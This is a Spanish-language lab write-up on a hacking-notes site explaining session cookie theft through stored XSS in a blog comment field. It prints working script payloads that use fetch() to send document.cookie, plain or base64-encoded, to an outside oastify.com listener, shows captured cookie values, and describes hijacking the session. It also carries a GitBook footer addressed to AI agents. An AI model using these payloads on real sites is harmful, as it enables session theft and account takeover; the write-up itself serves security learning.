> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/xss/cookie-theft-via-xss.md).

# Robo de cookies mediante XSS

### Explotando Cross-site Scripting para robar cookies

El laboratorio tiene una vulnerabilidad XSS almacenada en la función de comentarios del blog. Una usuaria víctima consulta los comentarios después de la publicación. El objetivo educativo es entender cómo una inyección del lado del cliente puede llevar a la exfiltración de información de sesión y cómo protegerla.

El campo de comentarios no aplica suficiente codificación ni escape para la entrada del usuario, lo que permite al navegador inyectar contenido cuando otro usuario muestra la página.

```javascript
<script>alert(0)</script>
```

<figure><img src="/files/4fcab9afdb9f561b35beb51ba8a65f2d2c3ef79c" alt="" width="527"><figcaption></figcaption></figure>

Usamos `fetch` para hacer solicitudes:

```javascript
<script>
  fetch("https://o0ppmd5fv2hmt8tb190bl5cy4pagy9my.oastify.com/" + "/jordan");
</script>
```

La solicitud llega a la infraestructura de escucha.

<figure><img src="/files/d16e065b66452fd113a48cee026c983c98da93fb" alt=""><figcaption></figcaption></figure>

Enviamos la cookie de sesión:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + document.cookie);
</script>
```

<figure><img src="/files/5785daabe49d21b9fc104ed46dd6f166bf8db79b" alt=""><figcaption></figcaption></figure>

```
secret=QplRMu1d8Cvif8Ai7En7j3ADRb0DZxa0;
session=sw0gW8IuyBITTD0ChgDydWcmuFx5J79D
```

Luego reemplazamos la cookie de sesión.

<figure><img src="/files/9ee33af314e5b1a5c147d0d065248d6c7806494f" alt=""><figcaption></figcaption></figure>

También puedes codificar el contenido en base64 antes de enviarlo:

```javascript
<script>
  fetch("https://3gk42slubhx19n9qhogq1ksdk4qvep2e.oastify.com?cookie=" + btoa(document.cookie));
</script>
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/xss/cookie-theft-via-xss.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
